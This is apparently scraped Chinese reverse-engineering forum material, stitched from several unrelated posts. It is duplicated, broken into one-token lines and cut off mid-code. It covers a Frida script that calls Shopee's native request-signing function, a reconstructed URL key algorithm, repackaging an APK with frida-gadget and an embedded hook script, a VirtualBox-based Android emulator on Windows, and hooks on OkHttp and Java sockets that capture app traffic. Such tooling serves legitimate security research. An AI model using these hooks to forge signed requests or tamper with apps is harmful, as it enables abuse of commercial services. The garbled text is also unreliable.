\\n
var
res = wvvvuwwu[
\\"vuwuuwvw\\"
](byteArray,byteArray2)
\\n
console.log(
\'res==>\'
,res)
\\n
})
\\n}
url
=
\'/api/v4/pages/bottom_tab_bar\'
\\ndef
getKey1(url):
\\n
tmp
=
0
\\n
for
i
in
bytearray(url.encode()):
\\n
tmp
=
tmp
*
0x334b
&
0xffffffff
\\n
tmp
=
(tmp
+
i) &
0xffffffff
\\n
key
=
tmp&
0x7fffffff
\\n
return
f
\\"{key:04X}\\"
\\nprint
(
\'getKey1\'
,getKey1(url))
# 1A9EC9B9 还原这个只需要url
\\nurl
=
\'/api/v4/pages/bottom_tab_bar\'
\\ndef
getKey1(url):
\\n
tmp
=
0
\\n
for
i
in
bytearray(url.encode()):
\\n
tmp
=
tmp
*
0x334b
&
0xffffffff
\\n
tmp
=
(tmp
+
i) &
0xffffffff
\\n
key
=
tmp&
0x7fffffff
\\n
return
f
\\"{key:04X}\\"
\\nprint
(
\'getKey1\'
,getKey1(url))
# 1A9EC9B9 还原这个只需要url
\\nfunction
stringToHexArray(str) {
\\n
var
hexArray = [];
\\n
for
(
var
i = 0; i < str.length; i++) {
\\n
var
hex = str.charCodeAt(i);
\\n
hexArray.push(0x00 + hex);
\\n
}
\\n
return
hexArray;
\\n}
function
call2(){
\\n
var
soAddr = Module.findBaseAddress(
\\"libshpssdk.so\\"
);
\\n
var
funAddr = soAddr.add(0x995dc);
\\n
var
fun =
new
NativeFunction(funAddr,
\'pointer\'
, [
\\"pointer\\"
,
\\"pointer\\"
,
\'pointer\'
,
\'pointer\'
]);
\\n
var
JNIEnv = Java.vm.getEnv();
\\n
var
byteArray = stringToHexArray(
\'https://mall.shopee.ph/api/v4/pages/bottom_tab_bar\'
);
\\n
var
byteArrayPtr = Memory.alloc(byteArray.length);
\\n
Memory.writeByteArray(byteArrayPtr, byteArray);
\\n
var
byteArray2 = stringToHexArray(
\'{\\"img_size\\":\\"3.0x\\",\\"latitude\\":\\"\\",\\"location\\":\\"[]\\",\\"longitude\\":\\"\\",\\"new_arrival_reddot_last_dismissed_ts\\":0,\\"feed_reddots\\":[{\\"timestamp\\":0,\\"noti_code\\":28}],\\"client_feature_meta\\":{\\"is_live_and_video_merged_tab_supported\\":false},\\"video_reddot_last_dismissed_ts\\":0,\\"view_count\\":[{\\"count\\":1,\\"source\\":0,\\"tab_name\\":\\"Live\\"}]}\'
);
\\n
var
byteArrayPtr2 = Memory.alloc(byteArray2.length);
\\n
Memory.writeByteArray(byteArrayPtr2, byteArray2);
\\n
var
arr1 = JNIEnv.newByteArray(byteArray.length);
\\n
JNIEnv.setByteArrayRegion(arr1,0,byteArray.length,byteArrayPtr)
\\n
var
arr2 = JNIEnv.newByteArray(byteArray2.length);
\\n
JNIEnv.setByteArrayRegion(arr2,0,byteArray2.length,byteArrayPtr2)
\\n
var
res = fun(JNIEnv, ptr(0x0),arr1,arr2)
\\n
var
s = Java.cast(res, Java.use(
\\"java.lang.Object\\"
));
\\n
console.log(s)
\\n}
function
stringToHexArray(str) {
\\n
var
hexArray = [];
\\n
for
(
var
i = 0; i < str.length; i++) {
\\n
var
hex = str.charCodeAt(i);
\\n
hexArray.push(0x00 + hex);
\\n
}
\\n
return
hexArray;
\\n}
function
call2(){
\\n
var
soAddr = Module.findBaseAddress(
\\"libshpssdk.so\\"
);
\\n
var
funAddr = soAddr.add(0x995dc);
\\n
var
fun =
new
NativeFunction(funAddr,
\'pointer\'
, [
\\"pointer\\"
,
\\"pointer\\"
,
\'pointer\'
,
\'pointer\'
]);
\\n
var
JNIEnv = Java.vm.getEnv();
\\n
var
byteArray = stringToHexArray(
\'https://mall.shopee.ph/api/v4/pages/bottom_tab_bar\'
);
\\n
var
byteArrayPtr = Memory.alloc(byteArray.length);
\\n
Memory.writeByteArray(byteArrayPtr, byteArray);
\\n
var
byteArray2 = stringToHexArray(
\'{\\"img_size\\":\\"3.0x\\",\\"latitude\\":\\"\\",\\"location\\":\\"[]\\",\\"longitude\\":\\"\\",\\"new_arrival_reddot_last_dismissed_ts\\":0,\\"feed_reddots\\":[{\\"timestamp\\":0,\\"noti_code\\":28}],\\"client_feature_meta\\":{\\"is_live_and_video_merged_tab_supported\\":false},\\"video_reddot_last_dismissed_ts\\":0,\\"view_count\\":[{\\"count\\":1,\\"source\\":0,\\"tab_name\\":\\"Live\\"}]}\'
);
\\n
var
byteArrayPtr2 = Memory.alloc(byteArray2.length);
\\n
Memory.writeByteArray(byteArrayPtr2, byteArray2);
\\n
var
arr1 = JNIEnv.newByteArray(byteArray.length);
\\n
JNIEnv.setByteArrayRegion(arr1,0,byteArray.length,byteArrayPtr)
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n今天简单分享之前验证的一个免ROOT权限Frida完全内置APK方案!让Frida得到更广泛的使用!
关于frida-gadget使用官方及各论坛都有许多讲解及说明,但似乎都停留在把hook脚本代码存放本地SD目录或者/data/local/tmp。
对于分析来说完全够用了,但是对于想把实现hook的整体效果直接分享出来就存在局部限制,那么能不能实现LSPatch类似效果?答案是完全没问题!
首选我们回顾下frida-gadget注入两种方式,顺便补充完善部分细节,具体如下:
1.基于so层通过添加依赖库方式调用Frida库 (实现原理参考:Android平台感染ELF文件实现模块注入)
简单来说就是找个软件启动时候最开始调用so文件,t通过对其注入添加依赖库方式启用frida-gadget
如果apk本身没有so这种方式是否可以?
也没问题,直接通过dex2c方案把部分java方法转换为so调用,再注入就好了!
比如 开源的 https://github.com/codehasan/dex2c 或者某些一键工具
为了让操作简单化,这里我把注入工具重新py写了下,为了普遍可以用特意找win7环境打包独立exe
Windows环境下so注入工具下载见:https://gitee.com/xdvsrs/so-injection-tool-exe
(论坛附件上传运行空间有限,只能借助gitee)
注入操作方式如下图:
2.基于JAVA层Smali代码调用Frida库 (System.loadLibrary(\\"frida\\");)
这是比较常用的方案,通过首启activity或application在方法<init>()或<clinit>()或onCreate植入如下代码
代码如下
关于打包进apk后执行js官方文档及之前部分博主、网友是这样讲的 !
这样还得借助ADB或者本地文件夹读取权限才能完成加载hook的js代码,分享使用存在局限性!
原理:安装后的 so 文件通常会被存储在以下路径:/data/app/<package-name>/lib/<abi>/
(本身没有so的APK就手动创建文件夹或者D2C抽取产生)
libjs.so:hook的js代码文件(案例内容)
libfrida-gadget.config.so: 调用配置内容改如下
libfrida-gadget.config.so:Frida依赖库文件(可根据需要自行去下载https://github.com/frida/frida/releases )
为了进一步方便大家参考比较,以上2种方式分别做了Demo,可自行下载对比原版改动地方!
完成以上打包,接下来就是自由发挥的时候了!hook!hook!
第三方网盘下载:https://share.feijipan.com/s/waD7AO5K
有待改善优化空间:比如做手机端或者PC端一键注入打包,做魔改,自己二次编译libfrida-gadget定制个人需求功能
补充:市场上部分应用目前都带加固或者防Frida,如何过检测等等.....就靠大家自己探索了!
文献主要参考:https://frida.re/docs/gadget/ 以及部分前辈、博主文档
const
-
string p0,
\\"frida-gadget\\"
invoke
-
static {p0}, Ljava
/
lang
/
System;
-
>loadLibrary(Ljava
/
lang
/
String;)V
\\nconst
-
string p0,
\\"frida-gadget\\"
invoke
-
static {p0}, Ljava
/
lang
/
System;
-
>loadLibrary(Ljava
/
lang
/
String;)V
\\nif
(Java.available) {
\\n
Java.perform(function () {
\\n
console.log(
\\"Hooking any Activity...\\"
);
\\n
/
/
动态获取所有的 Activity 类,并 Hook 其 onCreate 方法
\\n
var Activity
=
Java.use(
\\"android.app.Activity\\"
);
\\n
Activity.onCreate.overload(
\\"android.os.Bundle\\"
).implementation
=
function (bundle) {
\\n
var activityClassName
=
this.getClass().getName();
/
/
获取当前 Activity 类名
\\n
console.log(activityClassName
+
\\" onCreate hooked!\\"
);
\\n
/
/
调用原始的 onCreate 方法
\\n
this.onCreate(bundle);
\\n
/
/
获取上下文并在主线程显示 Toast,提示当前 Activity 名称
\\n
var context
=
Java.use(
\'android.app.ActivityThread\'
).currentApplication().getApplicationContext();
\\n
Java.scheduleOnMainThread(function() {
\\n
var toast
=
Java.use(
\\"android.widget.Toast\\"
);
\\n
var message
=
\\"Frida Hook成功! 通过java层调用 \\\\n当前Activity: \\"
+
activityClassName;
\\n
toast.makeText(context, Java.use(
\\"java.lang.String\\"
).$new(message),
1
).show();
\\n
});
\\n
};
\\n
});
\\n}
else
{
\\n
console.log(
\\"Java environment not available!\\"
);
\\n}
if
(Java.available) {
\\n
Java.perform(function () {
\\n
console.log(
\\"Hooking any Activity...\\"
);
\\n
/
/
动态获取所有的 Activity 类,并 Hook 其 onCreate 方法
\\n
var Activity
=
Java.use(
\\"android.app.Activity\\"
);
\\n[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n前一段时间看到新闻,该程序实现了在Windows x86架构CPU的PC上面运行安卓应用,ARM架构的程序却可以跑在x86架构的机器上面,确实值得探究探究。之前Windows 11也推出过WSA(Windows Subsystem for Android)也是实现了相同的功能,这两者的技术路线会不会什么不同,下面内容将为你解开心中疑问。由于我本人也没有对Android系统的进行过深入研究,文章内容仅介绍技术路线。
介绍WSA之前需要先了解一下WSL,WSL(Windows Subsystem for Linux)是基于Hyper-V提供的一个Linux环境,允许用户在Windows操作系统上直接运行Linux命令行工具和应用程序,而无需使用传统的虚拟机或双引导系统。它主要通过拦截Linux系统调用,维护一张系统调用表,将其转化为Windows支持的API来实现的,包括:进(线)程管理、文件系统和网络系统等。
由于Android系统的本质还是一个Linux系统,Android应用大多也是arm架构下的程序,于是微软基于WSL之上构建起一套Android框架,这就是WSA。我们知道,Windows系统支持arm和x86架构的CPU,如果是arm架构的windows系统,则Android框架中的应用程序不存在模拟问题,即Android -> arm linux -> arm windows;而x86架构的CPU需要使用IBT(Intel Bridge Technology)来将arm指令转换为x86指令,即Android -> x86 linux -> x86 windows。IBT的架构图如下:
上面的新闻链接之说了微软的应用商店支持了某用宝,如下图所示,但其实某用宝的exe程序也支持,实现的路线都是一样的,没有区别。
安装过程中,它一直强调需要PC支持Intel VT技术,不然无法运行Android APP,这个技术一般是虚拟机才会用到的。APP的运行环境是Android 13 Celadon系统,使用了IBT技术。
那么我的推测某用宝技术路线如下:首先构建了一个虚拟机环境,这个虚拟机环境中是一个x86版本的celadon的Android系统,你也可以称它为Linux系统,这个系统可以运行Android APP。某用宝外部和虚拟机进行交互实现了APP安装和启动,以及其他的UI界面交互和展示。
虚拟机是一种通过软件模拟实现的计算机系统,它可以运行操作系统以及应用程序。虚拟机的概念允许用户在同一台物理机器上同时运行多个不同的操作系统环境,每个环境都像是在独立的硬件上运行一样。它的主要特点如下:
在APP运行期间,并没有出现虚拟机运行的界面,如何判定有虚拟机正在运行呢?
因为虚拟机一般占据内存比较大,我发现有一个ABoxHeadLess.exe进行占据了较大的内容,如下图:
使用everything找到ABoxHeadLess.exe文件所在的文件夹\\"C:\\\\Program Files\\\\*******Box\\",发现文件列表如下:
这我熟啊,前一段时候,一个朋友从VirtualBox源码编译的文件和这个几乎一模一样,如果我们打开*******Box.exe(需要管理员权限),会出现如下界面:
这下实锤了,它就是VirtualBox虚拟机软件,或许对源码进行了部分修改。从该界面我们知道了有一个虚拟机实例TVM_3000来运行着Android应用,这个实例的部分配置信息如下:
这就回答了为什么它强调PC需要支持Intel VT,如果不支持,那么虚拟机纯软件模拟来运行Android系统将会非常慢。另外,为了实现网络加速,它还启用了virtio-net。
总结:某用宝使用VirtualBox虚拟机来启动一个Android系统。
Celadon是一个基于Android的开源项目,它旨在为Intel架构的设备提供Android运行环境的支持。这个项目特别适合那些希望在非ARM架构的硬件上运行Android应用程序的开发者和用户。Celadon由Intel发起并维护,它不仅支持传统的Android功能,还提供了对最新Android API 的支持,使得开发者能够更容易地将应用移植到Intel平台上。Celadon的主要特点如下:
跨架构支持:Celadon 可以让 Android 应用在 x86 架构的设备上运行,这为那些想要利用 Intel 处理器性能优势的用户提供了便利。
开源:作为一个开源项目,Celadon 鼓励社区贡献,同时也方便开发者根据自身需求进行定制和优化。
兼容性:Celadon 致力于保持与标准 Android 生态系统的兼容性,支持最新的 Android 版本和 API,确保应用能够顺利运行。
开发工具:Celadon 提供了一系列开发工具和文档,帮助开发者更高效地构建、调试和部署应用。
性能优化:针对 Intel 架构进行了专门的优化,提高了应用的运行效率和用户体验。
前文介绍了,它启动了一个虚拟机实例,但如何确认这个实例系统是Celadon Android系统呢?
其实在这个虚拟机的配置文件中有一段关于网络的配置信息,如下:
熟悉Android的同学可能立马就想到了,可以使用adb(Android Debug Bridge)工具,进去这个系统看看。这个adb工具无需下载,某用宝中自带了。执行adb connect 127.0.0.1:5555
和adb devices
,可以看到如下结果:
这两个结果都是属于那个Android系统的,说明我们已经连接成功。可以看下这个系统的一些信息:
上述可以看出这是一个Ubuntu 18.04(bionic) x86_64系统,系统版本是Celadon Android 13。这些信息和某用宝提供的信息是一致的。
前文只是介绍了大体的技术路线。其他值得思考的实现,比如:如何实现在Windows中可以卸载APP、如何外部启动APP,让APP弹出独立的界面,并且可以接受鼠标的点击等。这些问题都是值得思考的,后续如果有时间的再进行研究。
从上文可以看出,两者都是使用了IBT技术,在一个Linux系统中运行着Celadon服务,使得Android应用可以正常运行。主要不同点在于实现Linux系统的路线不同:Windows使用的是WSL,一个定制化的Linux系统;而某用宝使用的是VirtualBox+Linux系统,可能这个系统也进行了定制化。至于两者哪个效率更高,留给读者自己思考。
Windows WSL
WSL原理介紹
Windows WSA
Celadon项目
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 10:12 PM platforms
d----- 11/15/2024 10:12 PM sign
d----- 11/15/2024 10:12 PM x86
-a---- 10/14/2024 5:34 PM 210672 ABoxDDR0.r0
-a---- 10/14/2024 5:11 PM 189024 ABoxHeadless.exe
-a---- 10/14/2024 5:11 PM 1334368 ABoxManage.exe
-a---- 10/14/2024 5:11 PM 2869 ABoxSup.inf
-a---- 10/14/2024 5:34 PM 366848 ABoxSup.sys
-a---- 10/14/2024 5:11 PM 5818976 ABoxSVC.exe
-a---- 10/14/2024 5:11 PM 16992 SUPInstall.exe
-a---- 10/14/2024 5:11 PM 19552 SUPLoggerCtl.exe
-a---- 10/14/2024 5:11 PM 16992 SUPUninstall.exe
-a---- 10/14/2024 5:34 PM 1925808 Updater32.exe
-a---- 10/14/2024 5:11 PM 2680416 vbox-img.exe
-a---- 10/14/2024 5:11 PM 19040 VBoxAuth.dll
-a---- 10/14/2024 5:11 PM 28256 VBoxAuthSimple.dll
-a---- 10/14/2024 5:11 PM 70240 VBoxAutostartSvc.exe
-a---- 10/14/2024 5:11 PM 147040 VBoxBalloonCtrl.exe
-a---- 10/14/2024 5:11 PM 83040 VBoxBugReport.exe
-a---- 10/14/2024 5:11 PM 3031648 VBoxC.dll
-a---- 10/14/2024 5:11 PM 32864 VBoxCAPI.dll
-a---- 10/14/2024 5:12 PM 1360480 VBoxCpuReport.exe
-a---- 10/14/2024 5:11 PM 171616 VBoxDbg.dll
-a---- 10/14/2024 5:11 PM 2007136 VBoxDD.dll
-a---- 10/14/2024 5:11 PM 8757344 VBoxDD2.dll
-a---- 10/14/2024 5:11 PM 413280 VBoxDDU.dll
-a---- 10/14/2024 5:11 PM 2195552 *******Box.exe
-a---- 10/14/2024 5:11 PM 1691232 *******BoxVM.exe
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 10:12 PM platforms
d----- 11/15/2024 10:12 PM sign
d----- 11/15/2024 10:12 PM x86
-a---- 10/14/2024 5:34 PM 210672 ABoxDDR0.r0
-a---- 10/14/2024 5:11 PM 189024 ABoxHeadless.exe
-a---- 10/14/2024 5:11 PM 1334368 ABoxManage.exe
-a---- 10/14/2024 5:11 PM 2869 ABoxSup.inf
-a---- 10/14/2024 5:34 PM 366848 ABoxSup.sys
-a---- 10/14/2024 5:11 PM 5818976 ABoxSVC.exe
-a---- 10/14/2024 5:11 PM 16992 SUPInstall.exe
-a---- 10/14/2024 5:11 PM 19552 SUPLoggerCtl.exe
-a---- 10/14/2024 5:11 PM 16992 SUPUninstall.exe
-a---- 10/14/2024 5:34 PM 1925808 Updater32.exe
-a---- 10/14/2024 5:11 PM 2680416 vbox-img.exe
-a---- 10/14/2024 5:11 PM 19040 VBoxAuth.dll
-a---- 10/14/2024 5:11 PM 28256 VBoxAuthSimple.dll
-a---- 10/14/2024 5:11 PM 70240 VBoxAutostartSvc.exe
-a---- 10/14/2024 5:11 PM 147040 VBoxBalloonCtrl.exe
-a---- 10/14/2024 5:11 PM 83040 VBoxBugReport.exe
-a---- 10/14/2024 5:11 PM 3031648 VBoxC.dll
-a---- 10/14/2024 5:11 PM 32864 VBoxCAPI.dll
-a---- 10/14/2024 5:12 PM 1360480 VBoxCpuReport.exe
-a---- 10/14/2024 5:11 PM 171616 VBoxDbg.dll
-a---- 10/14/2024 5:11 PM 2007136 VBoxDD.dll
-a---- 10/14/2024 5:11 PM 8757344 VBoxDD2.dll
-a---- 10/14/2024 5:11 PM 413280 VBoxDDU.dll
-a---- 10/14/2024 5:11 PM 2195552 *******Box.exe
-a---- 10/14/2024 5:11 PM 1691232 *******BoxVM.exe
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n1.了解hook抓包与混淆对抗
2.了解底层网络自吐
3.了解ebpf抓包
4.简单实战加解密协议
1.教程Demo
2.r0capture&ecapture
3.Reqable
4.wireshark
Hook 抓包是一种截取应用程序数据包的方法,通过 Hook 应用或系统函数来获取数据流。在应用层 Hook 时,通过查找触发请求的函数来抓包,优点是不受防抓包手段影响,缺点是抓包数据不便于我们分析和筛选。常见安卓网络开发框架
框架名称 | \\n描述 | \\nGitHub 地址 | \\n
---|---|---|
Volley | \\n由Google开源的轻量级网络库,支持网络请求处理、小图片的异步加载和缓存等功能 | \\nhttps://github.com/google/volley | \\n
Android-async-http | \\n基于Apache HttpClient的一个异步网络请求处理库 | \\nhttps://github.com/android-async-http/android-async-http | \\n
xUtils | \\n类似于Afinal,但被认为是Afinal的一个升级版,提供了HTTP请求的支持 | \\nhttps://github.com/wyouflf/xUtils3 | \\n
OkHttp | \\n一个高性能的网络框架,已经被Google官方认可,在Android 6.0中底层源码已经使用了OkHttp来替代HttpURLConnection | \\nhttps://github.com/square/okhttp | \\n
Retrofit | \\n提供了一种类型安全的HTTP客户端接口,简化了HTTP请求的编写,通常与OkHttp配合使用 | \\nhttps://github.com/square/retrofit | \\n
【译】OkHttp3 拦截器(Interceptor) | \\n\\n | \\n |
拦截器是 OkHttp 提供的对 Http 请求和响应进行统一处理的强大机制,它可以实现网络监听、请求以及响应重写、请求失败充实等功能。 | \\n\\n | \\n |
OkHttp 中的 Interceptor 就是典型的责任链的实现,它可以设置任意数量的 Intercepter 来对网络请求及其响应做任何中间处理,比如设置缓存,Https证书认证,统一对请求加密/防篡改社会,打印log,过滤请求等等。 | \\n\\n | \\n |
OkHttp 中的拦截器分为 Application Interceptor(应用拦截器) 和 NetWork Interceptor(网络拦截器)两种 | \\n\\n | \\n |
1 2 3 4 5 6 7 8 9 10 11 | OkHttpClient client = new OkHttpClient.Builder() .addNetworkInterceptor( new LoggingInterceptor()) .build(); Request request = new Request.Builder() .url( \\"https://www.52pojie.cn/\\" ) .header( \\"User-Agent\\" , \\"OkHttp Example\\" ) .build(); Response response = client.newCall(request).execute(); response.body().close(); |
参考项目:
OkHttpLogger-Frida源码解析:
定位OkHttpClient关键点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | /** * 查找并配置OkHttpClient的Client和Builder类。 * 该方法通过反射扫描指定类的字段和方法来确定其是否符合OkHttpClient的结构特征。 * 如果找到符合的类,则会进一步配置和注入相关拦截器。 * * @param classes 当前扫描的类 * @param className 类名,用于查找和调试 */ private void findClientAndBuilderAndBuildAnd(Class classes, String className) { try { // 确认类是final且静态 if (Modifier.isFinal(classes.getModifiers()) && Modifier.isStatic(classes.getModifiers())) { int listCount = 0 ; // 记录List类型字段的数量 int finalListCount = 0 ; // 记录final修饰的List字段数量 int listInterfaceCount = 0 ; // 记录List中包含接口的字段数量 Field[] fields = classes.getDeclaredFields(); Field.setAccessible(fields, true ); // 设置字段访问权限 for (Field field : fields) { String type = field.getType().getName(); if (type.contains(List. class .getName())) { listCount++; // 判断字段是否为List类型 // 检查List是否是接口类型 Class genericClass = getGenericClass(field); if ( null != genericClass && genericClass.isInterface()) { listInterfaceCount++; } } // 判断字段是否为final修饰的List类型 if (type.contains(List. class .getName()) && Modifier.isFinal(field.getModifiers())) { finalListCount++; } } // 符合OkHttpClient特征的条件检查 if (listCount == 4 && finalListCount == 2 && listInterfaceCount == 2 ) { // 获取并确认OkHttpClient的包结构和父类 Class OkHttpClientClazz = classes.getEnclosingClass(); if (Cloneable. class .isAssignableFrom(OkHttpClientClazz)) { OkCompat.Cls_OkHttpClient = OkHttpClientClazz.getName(); if ( null != classes && null != classes.getPackage()) { Compat_PackageName = classes.getPackage().getName(); } Class builderClazz = classes; // 查找并注入拦截器 find_interceptor(builderClazz); // 查找OkHttpClient相关类 findClientAbout(OkHttpClientClazz); findTag1 = true ; // 标记找到目标 } } } } catch (Throwable th) { // 捕获所有异常以防止中断流程,但不处理 } } /** * 查找并注入Interceptor拦截器到Builder类中。 * 此方法会扫描Builder类的字段,找到符合拦截器的字段并进行配置。 * * @param builderClazz 需要查找的Builder类 */ private void find_interceptor(Class builderClazz) { // 检查包名是否符合条件 if (!checkPackage(builderClazz)) return ; Field[] declaredFields = builderClazz.getDeclaredFields(); Field.setAccessible(declaredFields, true ); // 设置字段访问权限 int index = 0 ; // 用于计数找到的拦截器字段 for (Field field : declaredFields) { // 检查字段是否为final修饰的List类型且包含接口 if (List. class .isAssignableFrom(field.getType()) && Modifier.isFinal(field.getModifiers()) && getGenericClass(field).isInterface()) { if (index == 0 ) { // 注入自定义Interceptor,提供给JS调用的回调 findInterceptor(field); index++; } } } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | /** * hookRealCall - 拦截 OkHttp 的 RealCall 类的网络请求。 * 该方法通过拦截 RealCall 类的 `enqueue`(异步请求)和 `execute`(同步请求)方法, * 实现对网络请求和响应的捕获和处理。 * * @param {string} realCallClassName - OkHttp RealCall 类的完整类名。 */ function hookRealCall(realCallClassName) { Java.perform(function () { console.log( \\" ........... hookRealCall : \\" + realCallClassName) // 获取 RealCall 类 var RealCall = Java.use(realCallClassName) // 检查是否定义了 Cls_CallBack 类(用于异步请求拦截) if ( \\"\\" != Cls_CallBack) { // 拦截 RealCall 类中的异步方法 enqueue RealCall[M_Call_enqueue].overload(Cls_CallBack).implementation = function (callback) { // 获取 callback 的类 var realCallBack = Java.use(callback.$className) // 拦截 callback 中的 onResponse 方法,修改返回的响应数据 realCallBack[M_CallBack_onResponse].overload(Cls_Call, Cls_Response).implementation = function(call, response) { // 使用自定义的 buildNewResponse 方法创建新的响应数据 var newResponse = buildNewResponse(response) // 继续执行原始的 onResponse 方法,传入新的响应数据 this [M_CallBack_onResponse](call, newResponse) } // 调用原始的 enqueue 方法,传入修改后的 callback this [M_Call_enqueue](callback) // 释放 callback 类引用 realCallBack.$dispose } } // 拦截 RealCall 类中的同步方法 execute RealCall[M_Call_execute].overload().implementation = function () { // 调用原始的 execute 方法,获取响应数据 var response = this [M_Call_execute]() // 使用自定义的 buildNewResponse 方法创建新的响应数据 var newResponse = buildNewResponse(response) // 返回新的响应数据 return newResponse; } }) } |
使用操作:
1.将 okhttpfind.dex
拷贝到 /data/local/tmp/
目录下(顺带设置一下777权限)
2.执行命令启动frida -U wuaipojie -l okhttp_poker.js
可追加 -o [output filepath]
保存到文件
3.执行find()和hold()方法看看效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | D:\\\\Program Files\\\\WORKON_HOME\\\\frida16\\\\frida - agent - example>frida - U wuaipojie - l okhttp_poker.js ____ / _ | Frida 16.1 . 3 - A world - class dynamic instrumentation toolkit | (_| | > _ | Commands: / _ / |_| help - > Displays the help system . . . . object ? - > Display information about \'object\' . . . . exit / quit - > Exit . . . . . . . . More info at https: / / frida.re / docs / home / . . . . . . . . Connected to Redmi K30 ( id = 30d9b4bf ) Attaching... - - - - - - - - - - - - - - - - - - - - - - - - - OkHttp Poker by SingleMan [V. 20201130 ] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - API: >>> find() 检查是否使用了Okhttp & 是否可能被混淆 & 寻找okhttp3关键类及函数 >>> switchLoader( \\"okhttp3.OkHttpClient\\" ) 参数:静态分析到的okhttpclient类名 >>> hold() 开启HOOK拦截 >>> history() 打印可重新发送的请求 >>> resend(index) 重新发送请求 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [Redmi K30::wuaipojie ] - > find() ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 未 混 淆 (仅参考)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ likelyClazzList size : 352 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Start Find~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Find Result~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ var Cls_Call = \\"okhttp3.Call\\" ; var Cls_CallBack = \\"okhttp3.Callback\\" ; var Cls_OkHttpClient = \\"okhttp3.OkHttpClient\\" ; var M_rsp$builder_build = \\"build\\" ; var M_rsp_newBuilder = \\"newBuilder\\" ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Find Complete~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [Redmi K30::wuaipojie ] - > hold() [Redmi K30::wuaipojie ] - > ........... hookRealCall : okhttp3.RealCall ┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── | URL: http: / / 192.168 . 124.21 : 5000 / get_user_data | | Method: GET | | Request Headers: 0 | no headers | | - - > END | | URL: http: / / 192.168 . 124.21 : 5000 / get_user_data | | Status Code: 200 / OK | | Response Headers: 5 | ┌─Server: Werkzeug / 2.3 . 3 Python / 3.10 . 11 | ┌─Date: Sun, 27 Oct 2024 04 : 27 : 52 GMT | ┌─Content - Type : application / json | ┌─Content - Length: 104 | └─Connection: close | | Response Body: | { \\"user_data\\" : \\"{\\\\\\"user_id\\\\\\": \\\\\\"zj2595\\\\\\", \\\\\\"is_vip\\\\\\": true, \\\\\\"vip_level\\\\\\": \\\\\\"5\\\\\\", \\\\\\"coin_amount\\\\\\": 115}\\" } | |< - - END HTTP └──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── |
问题:如果app不是用okhttp开发的呢?或者混淆定位不到?
[原创]android抓包学习的整理和归纳
r0capture开源地址
Hook实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | // 使用 Java.use 方法获取 java.net.SocketOutputStream 类,并重写 socketWrite0 方法 Java.use( \\"java.net.SocketOutputStream\\" ).socketWrite0.overload( \'java.io.FileDescriptor\' , \'[B\' , \'int\' , \'int\' ).implementation = function (fd, bytearry, offset, byteCount) { // 调用原始的 socketWrite0 方法 var result = this .socketWrite0(fd, bytearry, offset, byteCount); // 创建一个消息对象用于存储数据 var message = {}; message[ \\"function\\" ] = \\"HTTP_send\\" ; // 标识为 HTTP 发送操作 message[ \\"ssl_session_id\\" ] = \\"\\" ; // SSL 会话 ID 为空 // 获取本地地址和端口 message[ \\"src_addr\\" ] = ntohl(ipToNumber(( this .socket.value.getLocalAddress().toString().split( \\":\\" )[0]).split( \\"/\\" ).pop())); message[ \\"src_port\\" ] = parseInt( this .socket.value.getLocalPort().toString()); // 获取远程地址和端口 message[ \\"dst_addr\\" ] = ntohl(ipToNumber(( this .socket.value.getRemoteSocketAddress().toString().split( \\":\\" )[0]).split( \\"/\\" ).pop())); message[ \\"dst_port\\" ] = parseInt( this .socket.value.getRemoteSocketAddress().toString().split( \\":\\" ).pop()); // 获取调用栈信息 message[ \\"stack\\" ] = Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ()).toString(); // 将要发送的数据拷贝到内存中 var ptr = Memory.alloc(byteCount); for ( var i = 0; i < byteCount; ++i) Memory.writeS8(ptr.add(i), bytearry[offset + i]); // 发送消息和数据 send(message, Memory.readByteArray(ptr, byteCount)); // 返回原始方法的结果 return result; } // 使用 Java.use 方法获取 java.net.SocketInputStream 类,并重写 socketRead0 方法 Java.use( \\"java.net.SocketInputStream\\" ).socketRead0.overload( \'java.io.FileDescriptor\' , \'[B\' , \'int\' , \'int\' , \'int\' ).implementation = function (fd, bytearry, offset, byteCount, timeout) { // 调用原始的 socketRead0 方法 var result = this .socketRead0(fd, bytearry, offset, byteCount, timeout); // 